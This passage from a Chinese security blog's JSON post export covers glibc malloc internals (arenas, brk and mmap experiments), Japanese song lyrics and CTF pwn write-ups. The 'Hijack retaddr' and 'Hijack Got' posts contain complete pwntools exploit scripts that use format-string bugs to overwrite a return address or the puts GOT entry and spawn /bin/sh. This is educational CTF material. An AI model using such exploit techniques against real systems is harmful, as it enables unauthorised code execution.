free(addr); printf("After free in main thread\\n"); getchar(); ret = pthread_create(&t1, NULL, threadFunc, NULL); if(ret) { printf("Thread creation error\\n"); return -1; } ret = pthread_join(t1, &s); if(ret) { printf("Thread join error\\n"); return -1; } return 0; } 没有产生预期效果(疑似因内核版本不同) 主线程malloc前 Welcome to per thread arena example::10710 Before malloc in main thread cat /proc/10710/maps 00400000-00401000 r-xp 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading 00600000-00601000 rw-p 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading 020c1000-020e2000 rw-p 00000000 00:00 0 [heap] 7fae138e5000-7fae13aa5000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so 主线程malloc之后 主线程的堆是堆内存移动program break产生的(移动brk),即使只申请了1000字节的大小但是实际产生了132kb的堆。这块连续的堆区域被称为arena。因为这个arena是主线程建立的,所以称为main arena。接下来的申请会在arena中的剩余部分进行申请。分配完成或者不够的时候,会继续通过移动brk位置扩容,扩容后top chunk的大小也会随之调整,以将新增加的区域加进去。同时,arena也可以在top chunk过大时缩小。 top chunk 是一个 arena 位于最顶层的 chunk。 After malloc and before free in main thread cat /proc/10710/maps 00400000-00401000 r-xp 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading 00600000-00601000 rw-p 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading 020c1000-020e2000 rw-p 00000000 00:00 0 [heap] 7fae138e5000-7fae13aa5000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so 主线程free之后 当分配的内存区域 free 掉时,其并不会立即归还给操作系统,而仅仅是移交给了作为库函数的分配器。这块 free掉的内存添加在了main arenas bin中(在 glibc malloc 中,空闲列表数据结构被称为bin)。随后当用户请求内存时,分配器就不再向内核申请新堆了,而是先试着各个「bin」中查找空闲内存。只有当 bin 中不存在空闲内存时,分配器才会继续向内核申请内存。 After free in main thread 00400000-00401000 r-xp 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading 00600000-00601000 rw-p 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading 020c1000-020e2000 rw-p 00000000 00:00 0 [heap] 7fae138e5000-7fae13aa5000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so 在thread1 malloc前 thread1 的堆尚不存在,但其栈已产生(进入对应的函数了) Before malloc in thread 1 00400000-00401000 r-xp 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading 00600000-00601000 rw-p 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading 020c1000-020e2000 rw-p 00000000 00:00 0 [heap] 7fae130e4000-7fae130e5000 ---p 00000000 00:00 0 7fae130e5000-7fae138e5000 rw-p 00000000 00:00 0 7fae138e5000-7fae13aa5000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so 在thread1 malloc之后 thread1 的堆段建立在了内存映射段中,这也表明了堆内存是使用 mmap 系统调用产生的,而非同主线程一样使用 sbrk 系统调用。类似地,尽管用户只请求了 1000B,但是映射到程地址空间的堆内存足有 1MB。这 1MB 中,只有 132KB 被设置了读写权限,并成为该线程的堆内存。这段连续内存(132KB)被称为thread arena。 注意:当用户请求超过 128KB(比如 malloc(132*1024)) 大小并且此时 arena 中没有足够的空间来满足用户的请求时,内存将通过 mmap 系统调用(不再是 sbrk)分配,而不论请求是发自 main arena 还是 thread arena。 7fae138e5000-7fae13aa5000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.soAfter malloc and before free in thread 1 00400000-00401000 r-xp 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading 00600000-00601000 rw-p 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading 020c1000-020e2000 rw-p 00000000 00:00 0 [heap] 7fae0c000000-7fae0c021000 rw-p 00000000 00:00 0 7fae0c021000-7fae10000000 ---p 00000000 00:00 0 7fae130e4000-7fae130e5000 ---p 00000000 00:00 0 7fae130e5000-7fae138e5000 rw-p 00000000 00:00 0 7fae138e5000-7fae13aa5000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so 在thread1 free之后 free 不会把内存归还给操作系统,而是移交给分配器,然后添加在了thread arenas bin中 After free in thread 1 00400000-00401000 r-xp 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading 00600000-00601000 rw-p 00000000 08:01 789522 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/threading 020c1000-020e2000 rw-p 00000000 00:00 0 [heap] 7fae0c000000-7fae0c021000 rw-p 00000000 00:00 0 7fae0c021000-7fae10000000 ---p 00000000 00:00 0 7fae130e4000-7fae130e5000 ---p 00000000 00:00 0 7fae130e5000-7fae138e5000 rw-p 00000000 00:00 0 7fae138e5000-7fae13aa5000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so 总结 虽然实际实验的结果并没有那么理想,但是我们可以总结其中我们需要理解的点。 ptmalloc中可以支持多线程同时申请堆块,并且每个线程可以独立管理。 主线程中产生的areana是brk产生的,线程中是mmap产生的。 第一次brk、mmap的堆空间的申请都会产生一块很大的空间(主:132kb的堆;线程:1MB,132KB 被设置了读写权限) 申请的堆空间被free后并不是直接返还,而是给分配器,后续按照bin进行处理管理。 glibc_malloc_arena Arena arena的数量 上面可以见的,主线程中包含main areana,而线程中可以包含其自己管理的thread arena。但是线程拥有的arena数量受限制系统核数(数量过多,开销过高,效率降低) For 32 bit systems: Number of arena = 2 * number of cores. For 64 bit systems: Number of arena = 8 * number of cores. Multiple Arena (arena共享、复用?) 例如,现有有一个场景有一个运行在单核计算机上的32位操作系统上的多线程应用,开启了四个线程(一个主线程+3个线程)。这里的线程数4>(2*1),所以分配器中可能有arena会被线程共享。 那么如何进行共享的呢? 当主线程第一次调用malloc,已经建立的main areana会被没有任何竞争的使用。 当thread1和thread2第一次调用malloc的时候,新的 arena 将被创建,且将被没有任何竞争地使用。此时线程和 arena 之间存在一一映射关系。 当thread3第一次调用 malloc 时,arena 的数量限制被计算出来,结果显示已超出,因此尝试复用已经存在的 arena(也即 Main arena 或 Arena 1 或 Arena 2); 复用: 一旦遍历到可用arena,就开始自旋申请该arena的锁; 如果上锁成功(比如说main arena上锁成功),就将该arena返回用户; 如果没找到可用arena,thread 3的malloc将被阻塞,直到有可用的arena为止。 当thread 3调用 malloc时(第二次了),分配器会尝试使用上一次使用的 arena(也即,main arena),从而尽量提高缓存命中率。当 main arena 可用时就用,否则 thread 3 就一直阻塞,直至 main arena 空闲。因此现在 main arena 实际上是被 main thread 和 thread 3 所共享。 Multiple Heaps 在glibc malloc中主要有3种数据结构: heap_info ——Heap Header—— 一个thread arena可以维护多个堆。每个堆都有自己的堆 Header(注:也即头部元数据)。一般情况下,每个thread arena都只维护一个堆,什么时候Thread Arena会维护多个堆呢?当这个堆的空间耗尽时,新的堆(而非连续内存区域)就会被mmap到这个 aerna里; malloc_state ——Arena header—— 一个thread arena可以维护多个堆,这些堆另外共享同一个 arena header。Arena header描述的信息包括:bins、top chunk、last remainder chunk等; malloc_chunk ——Chunk header—— 根据用户请求,每个堆被分为若干chunk。每个chunk都有自己的 chunk header。 Main arena无需维护多个堆,因此也无需heap_info。当空间耗尽时,与thread arena不同,main arena可以通过 sbrk拓展堆段,直至堆段碰到内存映射段; 与thread arena不同,main arena的arena header不是保存在通过sbrk申请的堆段里,而是作为一个全局变量,可以在libc.so的数据段中找到。 glibc_malloc_system_call Syscalls used by malloc brk brk通过增加程序中断位置(program break location / brk)从内核中获取内存(非零初始化),最初,堆段的起始(start_brk)和结束(brk)指向相同的位置。 当ASLR关闭时,start_brk和brk将指向data/bss段的end(end_data) 当ASLR打开时,start_brk和brk将指向data/bss段的end(end_data)加上随机的brk的偏移。 /* sbrk and brk example */ #include <stdio.h> #include <unistd.h> #include <sys/types.h> int main() { void *curr_brk, *tmp_brk = NULL; printf("Welcome to sbrk example:%d\\n", getpid()); /* sbrk(0) gives current program break location */ tmp_brk = curr_brk = sbrk(0); printf("Program Break Location1:%p\\n", curr_brk); getchar(); /* brk(addr) increments/decrements program break location */ brk(curr_brk+4096); curr_brk = sbrk(0); printf("Program break Location2:%p\\n", curr_brk); getchar(); brk(tmp_brk); curr_brk = sbrk(0); printf("Program Break Location3:%p\\n", curr_brk); getchar(); return 0; } 输出: ./brk Welcome to sbrk example:6699 Program Break Location1:0x21cd000 -> cat map(下) Program break Location2:0x21ce000 Program Break Location3:0x21cd000 cat /proc/6699/maps 00400000-00401000 r-xp 00000000 08:01 789617 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/brk 00600000-00601000 rw-p 00000000 08:01 789617 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/brk 021ac000-021ce000 rw-p 00000000 00:00 0 [heap] 7f0b29077000-7f0b29237000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so 7f0b29237000-7f0b29437000 ---p 001c0000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so 7f0b29437000-7f0b2943b000 r--p 001c0000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so 7f0b2943b000-7f0b2943d000 rw-p 001c4000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so 7f0b2943d000-7f0b29441000 rw-p 00000000 00:00 0 7f0b29441000-7f0b29467000 r-xp 00000000 08:01 2629229 /lib/x86_64-linux-gnu/ld-2.23.so 7f0b29642000-7f0b29645000 rw-p 00000000 00:00 0 7f0b29666000-7f0b29667000 r--p 00025000 08:01 2629229 /lib/x86_64-linux-gnu/ld-2.23.so 7f0b29667000-7f0b29668000 rw-p 00026000 08:01 2629229 /lib/x86_64-linux-gnu/ld-2.23.so 7f0b29668000-7f0b29669000 rw-p 00000000 00:00 0 7ffcb750d000-7ffcb752e000 rw-p 00000000 00:00 0 [stack] 7ffcb7598000-7ffcb759b000 r--p 00000000 00:00 0 [vvar] 7ffcb759b000-7ffcb759d000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] mmap malloc通过mmap进行私有匿名的段映射。私有匿名映射的目的是分配新内存(零填充),而新内存将由调用进程使用。 分析实例 /* Private anonymous mapping example using mmap syscall */ #include <stdio.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> void static inline errExit(const char* msg) { printf("%s failed. Exiting the process\\n", msg); exit(-1); } int main() { int ret = -1; printf("Welcome to private anonymous mapping example::PID:%d\\n", getpid()); printf("Before mmap\\n"); getchar(); char* addr = NULL; addr = mmap(NULL, (size_t)132*1024, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) errExit("mmap"); printf("After mmap\\n"); getchar(); /* Unmap mapped region. */ ret = munmap(addr, (size_t)132*1024); if(ret == -1) errExit("munmap"); printf("After munmap\\n"); getchar(); return 0; } Before mmap 00400000-00401000 r-xp 00000000 08:01 789619 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/mmap 00600000-00601000 rw-p 00000000 08:01 789619 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/mmap 00f74000-00f95000 rw-p 00000000 00:00 0 [heap] 7f46271b0000-7f4627370000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so After mmap 00400000-00401000 r-xp 00000000 08:01 789619 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/mmap 00600000-00601000 rw-p 00000000 08:01 789619 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/mmap 00f74000-00f95000 rw-p 00000000 00:00 0 [heap] 7f46271b0000-7f4627370000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so After munmap 00400000-00401000 r-xp 00000000 08:01 789619 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/mmap 00600000-00601000 rw-p 00000000 08:01 789619 /home/giantbranch/Desktop/CTF/PWN/glibc_malloc/mmap 00f74000-00f95000 rw-p 00000000 00:00 0 [heap] 7f46271b0000-7f4627370000 r-xp 00000000 08:01 2629237 /lib/x86_64-linux-gnu/libc-2.23.so 理论上map之后heap段会增加一段我们设置增加的段大小0x21000的,但是实际编译出来没有产生这个效果,不清楚为什么。同样unmap以后增加的映射段会重新减掉恢复成原先映射之前的大小。 总结 brk是将数据段(.data)的最高地址指针_edata往高地址推;malloc小于128k的内存使用brk分配内存。其具体操作示例见下图1,先申请一个30k的堆A,之后再申请B,malloc申请的时候都说edata段的移动既可以完成分配(实际上对应物理页需要等到进程读取内存时,发生缺页中断才会进行分配)。A需要释放的话,需要B提前释放(会产生内存碎片)。 mmap是在进程的虚拟地址空间中(堆和栈中间,称为文件映射区域的地方)找一块空闲的虚拟内存进行分配。任意块需要释放可以随时释放。 References Understanding glibc malloc syscall used by malloc CTF Wiki-堆相关数据结构 Linux进程分配内存的两种方式–brk() 和mmap() CSDN 理解 glibc malloc:主流用户态内存分配器实现原理 堆基础-glibc_malloc_threading 堆基础-glibc_malloc_system_call 堆基础-glibc_malloc_bin 堆基础-glibc_malloc_chunk","categories":[{"name":"Pwn","slug":"Pwn","permalink":"https://zer0ptr.github.io/categories/Pwn/"}],"tags":[{"name":"Heap","slug":"Heap","permalink":"https://zer0ptr.github.io/tags/Heap/"},{"name":"堆","slug":"堆","permalink":"https://zer0ptr.github.io/tags/%E5%A0%86/"}]},{"title":"恋音と雨空","slug":"rain","date":"2026-01-29T16:00:00.000Z","updated":"2026-02-09T03:56:58.816Z","comments":true,"path":"2026/01/30/rain/","permalink":"https://zer0ptr.github.io/2026/01/30/rain/","excerpt":"","text":"「好きだよ」と伝えればいいのに 願う先、怖くていえず 「好きだよ」と「好きだよ」が 募っては溶けてく 君との時間が一秒でも長くなるなら ずっとじゃなくていい 願いかける 恋音と雨空 君と離れてから数日目の土砂降りの雨の中 こんな日は必ず傘を届けにいった いつもの待ち合わせの場所いるはずのない面影待つ 傘もささず、ずぶ濡れな君はそこにいた 悴んだ手を温めることがもう一度できるなら 始まりの時まで戻りたい 「好きだよ」と伝えればいいのに 願う先、怖くていえず 「好きじゃない?」「好きだよ?」が 揺れる恋と雨空 君との時間が一秒でも長くなるなら ずっとじゃなくていい 雨が止むまでこのままいさせて。。。 信じた明日も 君は過去と笑うの? 流し去る力も無く あの日のままで時間が止まる 雫が二つ 君の頬を伝う 絶えず止まぬ雨のせいと恋音は詠う 町行く恋人が羨ましく思うことが増えた いつから一人が怖くなったんだろう でも今は束の間の幸せ できることならこのまま ありふれた恋人達になりたい 君がここで望んでいること 僕がここでいいたいこと 今なら想いも重なるかな? 「好きだよ」と伝えればいいのに 願う先、怖くていえず 横顔を見つめてる それだけでも もういい! だけど一握りの幸せも 君がくれたものだから 本当はずっと抱きしめていたい 「すれ違いも、二人もう一度やり直すための試練」だって すぐに言えるのなら どんなにいいだろうか 好きという事実通りすぎて 今ではもう愛している 失った数日間でやっと知った 本当はこのまま気持ち確かめたくて、、、 「好きだよ」と伝えればいいのに 願う先、怖くていえず 「好きだよ」と「好きだよ」が 募っては溶けてく 君との時間が一秒でも長くなるなら ずっとじゃなくていい 願いかける 恋音と雨空","categories":[{"name":"杂言碎语","slug":"杂言碎语","permalink":"https://zer0ptr.github.io/categories/%E6%9D%82%E8%A8%80%E7%A2%8E%E8%AF%AD/"}],"tags":[{"name":"雨天","slug":"雨天","permalink":"https://zer0ptr.github.io/tags/%E9%9B%A8%E5%A4%A9/"}]},{"title":"【论文笔记】RefleXGen:The unexamined code is not worth using","slug":"RefleXGenThe_unexamined_code_is_not_worth_using","date":"2026-01-23T16:00:00.000Z","updated":"2026-02-09T03:56:12.728Z","comments":true,"path":"2026/01/24/RefleXGenThe_unexamined_code_is_not_worth_using/","permalink":"https://zer0ptr.github.io/2026/01/24/RefleXGenThe_unexamined_code_is_not_worth_using/","excerpt":"","text":"基本信息 Title: RefleXGen: The unexamined code is not worth using Authors: Bin Wang, Hui Li*, AoFan Liu, et al. Affiliations: School of Electronic and Computer Engineering, Peking University (Shenzhen); China Mobile; China Telecom. Conference: 2025 IEEE International Conference on Acoustics, Speech and Signal Processing (ICASSP) DOI: 10.1109/ICASSP49660.2025.1089082 PDF: arXiv:2510.23674","categories":[{"name":"LLM","slug":"LLM","permalink":"https://zer0ptr.github.io/categories/LLM/"}],"tags":[{"name":"LLM","slug":"LLM","permalink":"https://zer0ptr.github.io/tags/LLM/"},{"name":"Code Generation","slug":"Code-Generation","permalink":"https://zer0ptr.github.io/tags/Code-Generation/"},{"name":"LLM安全","slug":"LLM安全","permalink":"https://zer0ptr.github.io/tags/LLM%E5%AE%89%E5%85%A8/"},{"name":"RAG","slug":"RAG","permalink":"https://zer0ptr.github.io/tags/RAG/"}]},{"title":"Hijack retaddr","slug":"fmtstr-exploit-hijack-retaddr","date":"2026-01-23T16:00:00.000Z","updated":"2026-02-09T03:54:27.718Z","comments":true,"path":"2026/01/24/fmtstr-exploit-hijack-retaddr/","permalink":"https://zer0ptr.github.io/2026/01/24/fmtstr-exploit-hijack-retaddr/","excerpt":"","text":"原理 利用格式化字符串漏洞来劫持程序的返回地址到我们想要执行的地址。 例子 - 三个白帽 - pwnme_k0 Checksec # zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Training/Pwn/fmtstr/hijack_retaddr on git:master x [12:45:55] $ checksec pwnme_k0 [*] '/home/zer0ptr/CTF-Training/Pwn/fmtstr/hijack_retaddr/pwnme_k0' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) 可以看出程序主要开启了 NX 保护以及 Full RELRO 保护。这我们就没有办法修改程序的 got 表了。 分析程序 func sub_400B07处:查看功能中发现了格式化字符串漏洞 int __fastcall sub_400B07(int a1, int a2, int a3, int a4, int a5, int a6, char format, int a8, __int64 a9) { write(0, "Welc0me to sangebaimao!\\n", 0x1Au); printf(&format); return printf((const char *)&a9 + 4); } 其输出的内容为 &a4 + 4。我们回溯一下,发现我们读入的 password 内容也是 v6 = read(0, (char *)&a4 + 4, 0x14uLL); 当然我们还可以发现 username 和 password 之间的距离为 20 个字节。 puts("Input your username(max lenth:20): "); fflush(stdout); v8 = read(0, &bufa, 0x14uLL); if ( v8 && v8 <= 0x14u ) { puts("Input your password(max lenth:20): "); fflush(stdout); v6 = read(0, (char *)&a4 + 4, 0x14uLL); fflush(stdout); *(_QWORD *)buf = bufa; *(_QWORD *)(buf + 8) = a3; *(_QWORD *)(buf + 16) = a4; 利用思路 我们最终的目的是希望可以获得系统的 shell,可以发现在给定的文件中,在0x00000000004008AA地址处有一个直接调用 system(‘bin/sh’) 的函数,那如果我们修改某个函数的返回地址为这个地址,那就相当于获得了 shell。 虽然存储返回地址的内存本身是动态变化的,但是其相对于 rbp 的地址并不会改变,所以我们可以使用相对地址来计算。利用思路如下: 确定偏移 获取函数的 rbp 与返回地址 根据相对偏移获取存储返回地址的地址 将执行 system 函数调用的地址写入到存储返回地址的地址。 确定偏移 首先,我们先来确定一下偏移。输入用户名 aaaaaaaa,密码随便输入,断点下在输出密码的那个 printf(&a4 + 4) 函数处: ────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffdc48 —▸ 0x400b2d ◂— lea rax, [rbp + 0x24] 01:0008│ rbp 0x7fffffffdc50 —▸ 0x7fffffffdc90 —▸ 0x7fffffffdd40 ◂— 1 02:0010│+008 0x7fffffffdc58 —▸ 0x400d74 ◂— add rsp, 0x30 03:0018│ rdi 0x7fffffffdc60 ◂— 'aaaaaaaa\\n' 04:0020│+018 0x7fffffffdc68 ◂— 0xa /* '\\n' */ 05:0028│+020 0x7fffffffdc70 ◂— 0x7025702500000000 06:0030│+028 0x7fffffffdc78 ◂— '%p%p%p%p%p%p%p%oM\\r@' 07:0038│+030 0x7fffffffdc80 ◂— '%p%p%p%oM\\r@' ──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────── ► 0 0x7ffff7c606f0 printf 1 0x400b2d None 2 0x400d74 None 3 0x400e98 None 4 0x7ffff7c29d90 __libc_start_call_main+128 5 0x7ffff7c29e40 __libc_start_main+128 6 0x4007d9 None ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> fmtarg 0x7fffffffdc60 The index of format argument : 9 (\\"\\%8$p\\") 偏移为9 - 1 = 8。 修改地址 我们再仔细观察下断点处栈的信息: 可以看到栈上第二个位置存储的就是该函数的返回地址 (其实也就是调用 show account 函数时执行 push rip 所存储的值),在格式化字符串中的偏移为 7。 与此同时栈上,第一个元素存储的也就是上一个函数的 rbp。所以我们可以得到偏移 0x00007fffffffdb80 - 0x00007fffffffdb48 = 0x38。继而如果我们知道了 rbp 的数值,就知道了函数返回地址的地址。 0x0000000000400d74 与 0x00000000004008AA 只有低 2 字节不同,所以我们可以只修改 0x00007fffffffdb48 开始的 2 个字节。 .text:00000000004008A6 sub_4008A6 proc near .text:00000000004008A6 ; __unwind { .text:00000000004008A6 push rbp .text:00000000004008A7 mov rbp, rsp .text:00000000004008AA <- here mov edi, offset command ; "/bin/sh" .text:00000000004008AF call system .text:00000000004008B4 pop rdi .text:00000000004008B5 pop rsi .text:00000000004008B6 pop rdx .text:00000000004008B7 retn Exploit from pwn import * context.log_level="debug" context.arch="amd64" sh=process("./pwnme_k0") binary=ELF("pwnme_k0") #gdb.attach(sh) sh.recv() sh.writeline(b"1"*8) sh.recv() sh.writeline(b"%6$p") sh.recv() sh.writeline(b"1") sh.recvuntil(b"0x") ret_addr = int(sh.recvline().strip(),16) - 0x38 success("ret_addr:"+hex(ret_addr)) sh.recv() sh.writeline(b"2") sh.recv() sh.sendline(p64(ret_addr)) sh.recv() #sh.writeline("%2214d%8$hn") #0x4008aa-0x4008a6 sh.writeline(b"%2218d%8$hn") sh.recv() sh.writeline(b"1") sh.recv() sh.interactive()","categories":[{"name":"Pwn","slug":"Pwn","permalink":"https://zer0ptr.github.io/categories/Pwn/"}],"tags":[{"name":"格式化字符串漏洞","slug":"格式化字符串漏洞","permalink":"https://zer0ptr.github.io/tags/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/"},{"name":"Pwn","slug":"Pwn","permalink":"https://zer0ptr.github.io/tags/Pwn/"}]},{"title":"Hijack Got","slug":"fmtstr-exploit-hijackgot","date":"2026-01-23T16:00:00.000Z","updated":"2026-02-09T11:50:43.880Z","comments":true,"path":"2026/01/24/fmtstr-exploit-hijackgot/","permalink":"https://zer0ptr.github.io/2026/01/24/fmtstr-exploit-hijackgot/","excerpt":"","text":"原理 在目前的 C 程序中,libc 中的函数都是通过 GOT 表来跳转的。此外,在没有开启 RELRO 保护的前提下,每个 libc 的函数对应的 GOT 表项是可以被修改的。因此,我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而,程序在执行 printf 的时候实际执行的是 system 函数。 假设我们将函数 A 的地址覆盖为函数 B 的地址,那么这一攻击技巧可以分为以下步骤: 确定函数 A 的 GOT 表地址。 这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。 确定函数 B 的内存地址 这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。 将函数 B 的内存地址写入到函数 A 的 GOT 表地址处。 这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种 写入函数:write 函数。 ROP pop eax; ret; # printf@got -> eax pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset 格式化字符串任意地址写 例子 - 2016 CCTF Pwn3 Checksec # zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Training/Pwn/fmtstr/hijack-GOT/2016-CCTF-pwn3 on git:master x [12:18:24] $ checksec pwn3 [*] '/home/zer0ptr/CTF-Training/Pwn/fmtstr/hijack-GOT/2016-CCTF-pwn3/pwn3' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No 可以看出程序主要开启了 NX 保护。我们一般默认远程都是开启 ASLR 保护的。 分析程序 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int command; // eax char s1[40]; // [esp+14h] [ebp-2Ch] BYREF int v5; // [esp+3Ch] [ebp-4h] setbuf(stdout, 0); ask_username(s1); ask_password(s1); while ( 1 ) { while ( 1 ) { print_prompt(); command = get_command(); v5 = command; if ( command != 2 ) break; put_file(); } if ( command == 3 ) { show_dir(); } else { if ( command != 1 ) exit(1); get_file(); } } } get_file func int get_file() { char dest[200]; // [esp+1Ch] [ebp-FCh] BYREF char s1[40]; // [esp+E4h] [ebp-34h] BYREF char *i; // [esp+10Ch] [ebp-Ch] printf("enter the file name you want to get:"); __isoc99_scanf("%40s", s1); if ( !strncmp(s1, "flag", 4u) ) puts("too young, too simple"); for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) ) { if ( !strcmp(i, s1) ) { strcpy(dest, i + 40); return printf(dest); } } return printf(dest); } 首先分析程序,可以发现程序似乎主要实现了一个需密码登录的 ftp,具有 get,put,dir 三个基本功能。大概浏览一下每个功能的代码,发现在 get 功能中存在格式化字符串漏洞。 漏洞利用思路 既然有了格式化字符串漏洞,那么我们可以确定如下的利用思路: 绕过密码 确定格式化字符串参数偏移 利用 put@got 获取 put 函数地址,进而获取对应的 libc.so 的版本,进而获取对应 system 函数地址 修改 puts@got 的内容为 system 的地址 当程序再次执行 puts 函数的时候,其实执行的是 system 函数 Exploit #!/usr/bin/env python3 from pwn import * pwn3 = ELF('./pwn3') libc = ELF('./libc.so') # sh = process('./pwn3') sh = remote('127.0.0.1', 12345) def get(name): sh.sendline(b'get') sh.recvuntil(b'enter the file name you want to get:') sh.sendline(name) data = sh.recv() return data def put(name, content): sh.sendline(b'put') sh.recvuntil(b'please enter the name of the file you want to upload:') sh.sendline(name) sh.recvuntil(b'then, enter the content:') sh.sendline(content) def show_dir(): sh.sendline(b'dir') tmp = 'sysbdmin' name = "" for i in tmp: name += chr(ord(i) - 1) def password(): sh.recvuntil(b'Name (ftp.hacker.server:Rainism):') sh.sendline(name.encode()) password() puts_got = pwn3.got['puts'] log.success('puts got : ' + hex(puts_got)) put(b'1111', b'%8$s' + p32(puts_got)) puts_addr = u32(get(b'1111')[:4]) log.success('puts addr : ' + hex(puts_addr)) libc_base = puts_addr - libc.sym['puts'] system_addr = libc_base + libc.sym['system'] log.success('libc base : ' + hex(libc_base)) log.success('system addr : ' + hex(system_addr)) log.info('puts offset in libc: ' + hex(libc.sym['puts'])) log.info('system offset in libc: ' + hex(libc.sym['system'])) payload = fmtstr_payload(7, {puts_got: system_addr}, write_size='byte') put(b'/bin/sh;', payload) sh.recvuntil(b'ftp>') sh.sendline(b'get') sh.recvuntil(b'enter the file name you want to get:') sh.sendline(b'/bin/sh;') show_dir() sh.interactive() 补充 我在获取 puts 函数地址时使用的偏移是 8,这是因为我希望我输出的前 4 个字节就是 puts 函数的地址。其实格式化字符串的首地址的偏移是 7。 这里我利用了 pwntools 中的 fmtstr_payload 函数,比较方便获取我们希望得到的结果,有兴趣的可以查看官方文档尝试。比如这里 fmtstr_payload(7, {puts_got: system_addr}) 的意思就是,我的格式化字符串的偏移是 7,我希望在 puts_got 地址处写入 system_addr 地址。默认情况下是按照字节来写的。","categories":[{"name":"Pwn","slug":"Pwn","permalink":"https://zer0ptr.github.io/categories/Pwn/"}],"tags":[{"name":"格式化字符串漏洞","slug":"格式化字符串漏洞","permalink":"https://zer0ptr.github.io/tags/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/"},{"name":"Pwn","slug":"Pwn","permalink":"https://zer0ptr.github.io/tags/Pwn/"}]},{"title":"64 位程序格式化字符串漏洞","slug":"fmtstr-exploit-x64","date":"2026-01-22T16:00:00.000Z","updated":"2026-02-09T11:50:35.933Z","comments":true,"path":"2026/01/23/fmtstr-exploit-x64/","permalink":"https://zer0ptr.github.io/2026/01/23/fmtstr-exploit-x64/","excerpt":"","text":"原理 其实 64 位的偏移计算和 32 位类似,都是算对应的参数。只不过 64 位函数的前 6 个参数是存储在相应的寄存器中的。但是在利用格式化字符串时,虽然我们并没有向相应寄存器中放入数据,但是程序依旧会按照格式化字符串的相应格式对其进行解析。 例子 2017 UIUCTF pwn200 Goodluck Checksec: # zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Training/Pwn/fmtstr/UIUCTF-pwn200Goodluck on git:master x [12:06:12] $ checksec goodluck [*] Checking for new versions of pwntools To disable this functionality, set the contents of /home/zer0ptr/.cache/.pwntools-cache-3.10/update to 'never' (old way). Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide): [update] interval=never [*] You have the latest version of Pwntools (4.15.0) [*] '/home/zer0ptr/CTF-Training/Pwn/fmtstr/UIUCTF-pwn200Goodluck/goodluck' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No 可以看出程序开启了 NX 保护以及部分 RELRO 保护。 分析程序 for ( j = 